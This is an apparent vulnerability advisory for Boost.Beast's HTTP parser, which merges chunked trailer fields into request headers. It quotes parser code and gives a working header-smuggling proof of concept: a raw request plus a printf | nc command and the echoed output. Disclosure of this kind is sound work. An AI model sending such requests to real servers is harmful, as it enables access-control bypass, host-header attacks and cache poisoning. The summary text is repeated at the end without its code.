Summary
Beast merges HTTP trailer fields into the request headers after the processing of chunked encoded requests, creating a security vulnerability that enables header smuggling attacks.
Impact
This design flaw can be exploited to achieve various attacks such as:
- Host header manipulation - the host header can be manipulated through trailer injection, potentially enabling vulnerabilities such password reset poisoning or SSRF.
- Access Control/Authorization Bypass - proxy forwarding headers (X-Forwarded-For, X-Real-IP, X-Forwarded-Host, ...) can be smuggled to bypass IP-based access controls, authentication mechanisms, and rate limiting.
- Cache Poisoning - headers smuggled through trailers can poison cached responses under legitimate cache keys, causing the cache to serve malicious content to subsequent users requesting the same resource.
Details
For any incoming request, the parser calls parse_fields for trailer fields:
template<bool isRequest> std::size_t basic_parser<isRequest>::put(net::const_buffer buffer, error_code& ec) {
auto p = static_cast<char const*>(buffer.data());
auto n = buffer.size();
ec = {};
// ...
case state::trailer_fields:
parse_fields(p, n, ec);
if(ec)
goto done;
state_ = state::complete;
this->on_finish_impl(ec);
goto done;
// ...
}
The program then proceeds by calling parse_fields, which in turn calls inner_parse_fields:
template<bool isRequest> void basic_parser<isRequest>::parse_fields(char const*& in, std::size_t n, error_code& ec) {
auto const p0 = in;
inner_parse_fields(in, in + (std::min<std::size_t>)
// ...
}
template<bool isRequest> void basic_parser<isRequest>::inner_parse_fields(char const*& in, char const* last, error_code& ec) {
string_view name;
string_view value;
beast::detail::char_buffer<max_obs_fold> buf;
auto p = in;
for(;;)
{
// ...
auto const f = string_to_field(name);
do_field(f, value, ec);
if(ec)
return;
this->on_field_impl(f, name, value, ec); //!
if(ec)
return;
in = p;
}
}
The vulnerability occurs in the on_field_impl method, which directly inserts trailer fields into the request headers:
void on_field_impl(
field name,
string_view name_string,
string_view value,
error_code& ec) override
{
m_.insert(name, name_string, value, ec); // <- the trailer field is inserted into the request headers
}
This behavior violates RFC7230 section 4.1.2.
PoC
- Start a server that echoes back the received request
- Send the following request:
GET / HTTP/1.1
Host: boost
Transfer-Encoding: chunked
0
Host: internal.local
Content-Type: malicious/content
Cookie: any
Set-Cookie: any
X-Forwarded-For: attacker.com
Authorization: any
X-Real-Ip: 1.1.1.1
You can do that with the following command:
printf 'POST / HTTP/1.1\r\nHost: boost\r\nTransfer-Encoding: chunked\r\n\r\n0\r\nHost: internal.local\r\nContent-Type: malicious/content\r\nCookie: any\r\nSet-Cookie: any\r\nX-Forwarded-For: attacker.com\r\nAuthorization: any\r\nX-Real-Ip: 1.1.1.1\r\n\r\n' | nc -v 127.0.0.1 80
- In output you'll se that all the trailers have been merged into the request headers:
HTTP/1.1 200 OK
Server: boost-beast
Content-Type: text/plain
Content-Length: 230
POST / HTTP/1.1
Host: boost
Host: internal.local
Transfer-Encoding: chunked
Content-Type: malicious/content
Cookie: any
Set-Cookie: any
X-Forwarded-For: attacker.com
Authorization: any
X-Real-Ip: 1.1.1.1
Summary
Beast merges HTTP trailer fields into the request headers after the processing of chunked encoded requests, creating a security vulnerability that enables header smuggling attacks.
Impact
This design flaw can be exploited to achieve various attacks such as:
Details
For any incoming request, the parser calls
parse_fieldsfor trailer fields:The program then proceeds by calling
parse_fields, which in turn callsinner_parse_fields:The vulnerability occurs in the
on_field_implmethod, which directly inserts trailer fields into the request headers:This behavior violates RFC7230 section 4.1.2.
PoC
You can do that with the following command: